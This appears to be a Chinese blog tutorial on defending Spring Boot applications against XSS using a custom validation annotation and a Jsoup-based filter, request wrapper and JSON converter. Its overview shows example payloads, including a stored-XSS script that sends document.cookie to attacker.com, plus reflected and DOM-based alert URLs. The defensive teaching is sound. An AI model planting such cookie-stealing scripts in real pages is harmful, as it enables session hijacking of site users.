SpringBoot实战:轻松实现XSS攻击防御(注解和过滤器)

avatar
作者
猴君
阅读量:4

文章目录


在这里插入图片描述

引言

随着Web应用的普及,网络安全问题也日益凸显。跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。当其他用户浏览这些网页时,恶意脚本就会在他们的浏览器上执行,从而可能导致信息泄露、会话劫持等严重后果。XSS攻击的普遍性和潜在危害性使其成为Web应用安全中不可忽视的一部分。

本文旨在探讨如何在Spring Boot应用程序中有效地防御XSS攻击。我们将介绍两种主要的防御手段:注解和过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行。

一、XSS攻击概述

XSS攻击,全称为跨站脚本攻击(Cross-Site Scripting),是一种常见的网络攻击手段。它主要利用了Web应用程序对用户输入验证的不足,允许攻击者将恶意脚本注入到其他用户浏览的网页中。

1.1 XSS攻击的定义

XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本,当其他用户浏览该页面时,这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的,因此它可以访问该用户的所有会话信息和权限,从而可能导致信息泄露、会话劫持、恶意操作等安全风险。

1.2 XSS攻击的类型

XSS攻击主要分为以下三种类型:

  1. 存储型XSS(Persistent XSS):恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言等,当用户访问相应的网页时,恶意脚本就会执行。
  2. 反射型XSS(Reflected XSS):恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的攻击通常是通过诱使用户点击链接或访问特定的URL来实施的。
  3. 基于DOM的XSS(DOM-based XSS):这种类型的XSS攻击完全发生在客户端,不需要服务器的参与。它通过恶意脚本修改页面的DOM结构,实现攻击。

1.3 XSS攻击的攻击原理及示例

XSS攻击的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。

可以参考:前端安全系列(一):如何防止XSS攻击? - 美团技术团队 (meituan.com)

示例:

  1. 存储型XSS攻击:

攻击者在一个博客评论系统中提交以下评论:

<script>   document.location='http://attacker.com/steal.php?cookie='+document.cookie; </script> 

当其他用户查看这条评论时,他们的cookie会被发送到攻击者的服务器。

  1. 反射型XSS攻击:

攻击者构造一个恶意URL:

http://example.com/search?q=<script>alert('XSS')</script> 

如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。

  1. DOM型XSS攻击:

假设网页中有以下JavaScript代码:

var name = document.location.hash.substr(1); document.write("欢迎, " + name); 

攻击者可以构造如下URL:

http://example.com/page.html#<script>alert('XSS')</script> 

当用户访问此URL时,恶意脚本会被执行。

二、Spring Boot中的XSS防御手段

在Spring Boot中,我们可以采用多种方式来防御XSS攻击。下面将详细介绍两种常用的防御手段:使用注解和使用过滤器。

2.1 使用注解进行XSS防御

注解是一种轻量级的防御手段,它可以在方法或字段级别对输入进行校验,从而防止XSS攻击。

2.1.1 引入相关依赖

    <!--JSR-303/JSR-380用于验证的注解 -->         <dependency>             <groupId>org.springframework.boot</groupId>             <artifactId>spring-boot-starter-validation</artifactId>             <version>3.2.0</version>         </dependency> 

2.1.2 使用@XSS注解进行参数校验

我们可以自定义一个@XSS注解,用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义:

@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER }) @Retention(RetentionPolicy.RUNTIME) @Constraint(validatedBy = XssValidator.class) public @interface Xss {     String message() default "非法输入, 检测到潜在的XSS";     Class<?>[] groups() default {};     Class<? extends Payload>[] payload() default {}; } 

2.1.3 实现自定义注解处理器

接下来,我们需要实现XSSValidator类,该类将负责检查输入是否包含潜在的XSS攻击脚本:

public class XssValidator implements ConstraintValidator<Xss, String> {     /**      * 使用自带的 basicWithImages 白名单      */     private static final Safelist WHITE_LIST = Safelist.relaxed();     /**      * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化      * 从而保持输入和输出内容的一致性。      */     private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);      /**      * 验证输入值是否有效,即是否包含潜在的XSS攻击脚本。      *       * @param value 输入值,需要进行XSS攻击脚本清理。      * @param context 上下文对象,提供关于验证环境的信息,如验证失败时的错误消息定制。      * @return 如果清理后的值与原始值相同,则返回true,表示输入值有效;否则返回false,表示输入值无效。      */     @Override     public boolean isValid(String value, ConstraintValidatorContext context) {         // 使用Jsoup库对输入值进行清理,以移除潜在的XSS攻击脚本。         // 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。         String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);                  // 比较清理后的值与原始值是否相同,用于判断输入值是否有效。         return cleanedValue.equals(value);     }  } 

2.1.4 使用注解

在要进行XSS防御的属性上添加注解:

@Data @Tag(name = "用户",description = "用户登录类") public class UserLoginDTO {      @Xss     @NotBlank(message = "账号不能为空")     @Schema(name = "用户账号",type = "String")     private String userAccount;      @Xss     @Size(min = 6, max = 18, message = "用户密码长度需在6-18位")     @Schema(name = "用户密码",type = "String")     private String password;      @Xss     @NotBlank(message = "邮箱验证码内容不能为空")     @Schema(name = "邮箱验证码",type = "String")     private String emailCaptcha; } 

Controller中的接口添加@Validated注解:

    @PostMapping("/test2")     public Result<String> login(@RequestBody  @Validated UserLoginDTO userLoginDTO) {         return Result.success();     } 

2.2 使用过滤器进行XSS防御

2.2.1 引入相关依赖

<!-- Jsoup依赖 --> <dependency>    <groupId>org.jsoup</groupId>    <artifactId>jsoup</artifactId>    <version>1.17.2</version> </dependency> 

2.2.2 编写配置类

/**  * 跨站脚本(XSS)过滤配置类。  */ @Data @Component @ConfigurationProperties(prefix = "xss") public class FilterConfig {     /**      * 是否启用XSS过滤。      */     private String enabled;      /**      * 需要排除的URL模式,这些URL不会进行XSS过滤。      */     private String excludes;      /**      * 需要应用XSS过滤的URL模式。      */     private String urlPatterns;      /**      * 注册XSS过滤器。      *      * @return FilterRegistrationBean 用于注册过滤器的bean。      */     @Bean     public FilterRegistrationBean xssFilterRegistration() {         FilterRegistrationBean registrationBean = new FilterRegistrationBean();         // 设置过滤器的分发类型为请求类型         registrationBean.setDispatcherTypes(DispatcherType.REQUEST);         // 创建XssFilter的实例         registrationBean.setFilter(new XssFilter());         // 添加过滤器需要拦截的URL模式,这些模式从配置文件中的"urlPatterns"属性读取         registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ","));         // 设置过滤器的名称         registrationBean.setName("XssFilter");         // 设置过滤器的执行顺序,数值越小,优先级越高         registrationBean.setOrder(9999);         // 创建一个Map,用于存储过滤器的初始化参数         Map<String, String> initParameters = new HashMap<>();         // 将配置文件中的"excludes"属性设置到过滤器的初始化参数中         initParameters.put("excludes", excludes);         // 将配置文件中的"enabled"属性设置到过滤器的初始化参数中         initParameters.put("enabled", enabled);         // 将初始化参数设置到FilterRegistrationBean中         registrationBean.setInitParameters(initParameters);         // 返回FilterRegistrationBean,包含了XssFilter的配置信息         return registrationBean;     } }  

2.2.3 修改配置文件

xss:   enabled: true   excludes:   url-patterns: /* 

2.2.4 创建XSSFilter类

import jakarta.servlet.*; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils;  import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern;  @Slf4j public class XssFilter implements Filter {     /**      * 存储需要排除XSS过滤的URL模式列表。      */     private List<String> excludes = new ArrayList<>();      /**      * 是否启用XSS过滤的标志。      */     private boolean enabled = false;      /**      * 初始化过滤器,从过滤器配置中读取排除列表和启用状态。      *      * @param filterConfig 过滤器配置对象。      * @throws ServletException 如果初始化过程中出现错误。      */     @Override     public void init(FilterConfig filterConfig) throws ServletException {         String strExcludes = filterConfig.getInitParameter("excludes");         String strEnabled = filterConfig.getInitParameter("enabled");         //将不需要xss过滤的接口添加到列表中         if (StringUtils.isNotEmpty(strExcludes)) {             String[] urls = strExcludes.split(",");             for (String url : urls) {                 excludes.add(url);             }         }         if (StringUtils.isNotEmpty(strEnabled)) {             enabled = Boolean.valueOf(strEnabled);         }     }      /**      * 执行过滤逻辑,如果当前请求不在排除列表中,则通过XSS过滤器包装请求。      *      * @param request  HTTP请求对象。      * @param response HTTP响应对象。      * @param chain    过滤器链对象,用于继续或中断请求处理。      * @throws IOException      如果处理过程中出现I/O错误。      * @throws ServletException 如果处理过程中出现Servlet相关错误。      */     @Override     public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {         HttpServletRequest req = (HttpServletRequest) request;         HttpServletResponse resp = (HttpServletResponse) response;         //如果该访问接口在排除列表里面则不拦截         if (isExcludeUrl(req.getServletPath())) {             chain.doFilter(request, response);             return;         }          log.info("uri:{}", req.getRequestURI());         // xss 过滤         chain.doFilter(new XssWrapper(req), resp);     }      /**      * 销毁过滤器,释放资源。      */     @Override     public void destroy() {         // 无需额外的销毁逻辑     }      /**      * 判断当前请求的URL是否应该被排除在XSS过滤之外。      *      * @param urlPath 请求的URL路径。      * @return 如果请求应该被排除,则返回true;否则返回false。      */     private boolean isExcludeUrl(String urlPath) {         if (!enabled) {             //如果xss开关关闭了,则所有url都不拦截             return true;         }         if (excludes == null || excludes.isEmpty()) {             return false;         }          String url = urlPath;         for (String pattern : excludes) {             Pattern p = Pattern.compile("^" + pattern);             Matcher m = p.matcher(url);             if (m.find()) {                 return true;             }         }         return false;     } }  

2.2.5 编写过滤工具类

/**  * XSS过滤工具类,使用Jsoup库对输入的字符串进行XSS攻击防护  */ public class XssUtil {      /**      * 使用自带的 basicWithImages 白名单      */     private static final Safelist WHITE_LIST = Safelist.relaxed();     /**      * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化      * 从而保持输入和输出内容的一致性。      */     private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);          /*       初始化白名单策略,允许所有标签拥有style属性。       这是因为在富文本编辑中,样式通常通过style属性来定义,需要确保这些样式能够被保留。      */     static {         // 富文本编辑时一些样式是使用 style 来进行实现的         // 比如红色字体 style="color:red;"         // 所以需要给所有标签添加 style 属性         WHITE_LIST.addAttributes(":all", "style");     }          /**      * 清理输入的字符串,移除潜在的XSS攻击代码。      *       * @param content 待清理的字符串,通常是用户输入的HTML内容。      * @return 清理后的字符串,保证不包含XSS攻击代码。      */     public static String clean(String content) {         // 使用定义好的白名单策略和输出设置清理输入的字符串         return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);     } }  

2.2.6 编写XSSRequestWrapper类清理脚本

在XSSFilter类中,我们创建了一个新的XSSRequestWrapper类,该类继承自HttpServletRequestWrapper。在这个包装类中,我们将重写getParameter等方法,以清理请求参数中的潜在XSS脚本。

 @Slf4j public class XssWrapper extends HttpServletRequestWrapper {     /**      * Constructs a request object wrapping the given request.      *      * @param request The request to wrap      * @throws IllegalArgumentException if the request is null      */     public XssWrapper(HttpServletRequest request) {         super(request);         log.info("XssWrapper");     }      /**      * 对数组参数进行特殊字符过滤      */     @Override     public String[] getParameterValues(String name) {         String[] values = super.getParameterValues(name);         if (values == null) {             return null;         }         int count = values.length;         String[] encodedValues = new String[count];         for (int i = 0; i < count; i++) {             encodedValues[i] = cleanXSS(values[i]);         }         return encodedValues;     }      /**      * 对参数中特殊字符进行过滤      */     @Override     public String getParameter(String name) {         String value = super.getParameter(name);         if (StrUtil.isBlank(value)) {             return value;         }         return cleanXSS(value);     }      /**      * 获取attribute,特殊字符过滤      */     @Override     public Object getAttribute(String name) {         Object value = super.getAttribute(name);         if (value instanceof String && StrUtil.isNotBlank((String) value)) {             return cleanXSS((String) value);         }         return value;     }      /**      * 对请求头部进行特殊字符过滤      */     @Override     public String getHeader(String name) {         String value = super.getHeader(name);         if (StrUtil.isBlank(value)) {             return value;         }         return cleanXSS(value);     }      /**      * 清理输入的字符串以防止XSS攻击      *      * @param value 待清理的字符串,通常为用户输入或来自不可信源的数据。      * @return 清理后的字符串,移除了可能的XSS攻击代码。      */     private String cleanXSS(String value) {         return XssUtil.clean(value);     } }  

2.2.7 自定义json消息解析器

在使用springboot中,类似于普通的参数parameter,attribute,header一类的,可以直接使用过滤器来过滤。而前端发送回来的json字符串就没那么方便过滤了。可以考虑用自定义json消息解析器来过滤前端传递的json。

可以参考文章:Springboot 过滤json中的特殊字符,避免xss攻击 | Cyckerr

 /**  * 在读取和写入JSON数据时特殊字符避免xss攻击的消息解析器  *  */ public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {      /**      * 从HTTP输入消息中读取对象,同时应用XSS防护。      *       * @param type        类型令牌,表示要读取的对象类型。      * @param contextClass    上下文类,提供类型解析的上下文信息。      * @param inputMessage HTTP输入消息,包含要读取的JSON数据。      * @return 从输入消息中解析出的对象,经过XSS防护处理。      * @throws IOException 如果发生I/O错误。      * @throws HttpMessageNotReadableException 如果消息无法读取。      */     @Override     public Object read(Type type, Class contextClass,                        HttpInputMessage inputMessage) throws IOException,             HttpMessageNotReadableException {         JavaType javaType = getJavaType(type, contextClass);         Object obj = readJavaType(javaType, inputMessage);         //得到请求json         String json = super.getObjectMapper().writeValueAsString(obj);         //过滤特殊字符         String result = XssUtil.clean(json);         Object resultObj = super.getObjectMapper().readValue(result, javaType);         return resultObj;     }      /**      * 从HTTP输入消息中读取指定Java类型的对象,内部使用。      *       * @param javaType    要读取的对象的Java类型。      * @param inputMessage HTTP输入消息,包含要读取的JSON数据。      * @return 从输入消息中解析出的对象。      * @throws IOException 如果发生I/O错误。      * @throws HttpMessageNotReadableException 如果消息无法读取。      */     private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {         try {             return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);         } catch (IOException ex) {             throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex);         }     }      /**      * 将对象写入HTTP输出消息,同时应用XSS防护。      *       * @param object 要写入的对象。      * @param outputMessage HTTP输出消息,对象将被序列化为JSON并写入此消息。      * @throws IOException 如果发生I/O错误。      * @throws HttpMessageNotWritableException 如果消息无法写入。      */     @Override     protected void writeInternal(Object object, HttpOutputMessage outputMessage)             throws IOException, HttpMessageNotWritableException {         //得到要输出的json         String json = super.getObjectMapper().writeValueAsString(object);         //过滤特殊字符         String result = XssUtil.clean(json);         // 输出         outputMessage.getBody().write(result.getBytes());     } }  

然后在启动类添加:

    @Bean     public HttpMessageConverters xssHttpMessageConverters() {         XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();         HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;         return new HttpMessageConverters(converter);     } 

三、测试

3.1 XSS注解:

如果不符合规则的字符(例如<script>alert('XSS');</script>)会提示非法输入,检测到潜在的XSS,可以看到下面的返回参数中的message已经变为默认警告。

image-20240705161416130

3.2 XSS过滤器

XSS过滤器实现的效果是过滤,将前端传递参数进行清理,达到XSS防御的目的。

观察下面的测试结果可以知道过滤器成功实现参数清理。

image-20240705184611821

image-20240705184627058

四、总结

本文深入探讨了在Spring Boot应用程序中如何有效地防御XSS攻击。我们介绍了两种主要的防御手段:使用注解和使用过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行,希望对大家有所帮助😊。


参考文章:

SpringBoot 增加 XSS 跨站脚本攻击防护 | 小决的专栏 (jueee.github.io)

对xss攻击的防御 j · 看云 (kancloud.cn)

自定义注解XSS注解

Springboot 过滤json中的特殊字符,避免xss攻击 | Cyckerr

在这里插入图片描述

广告一刻

为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!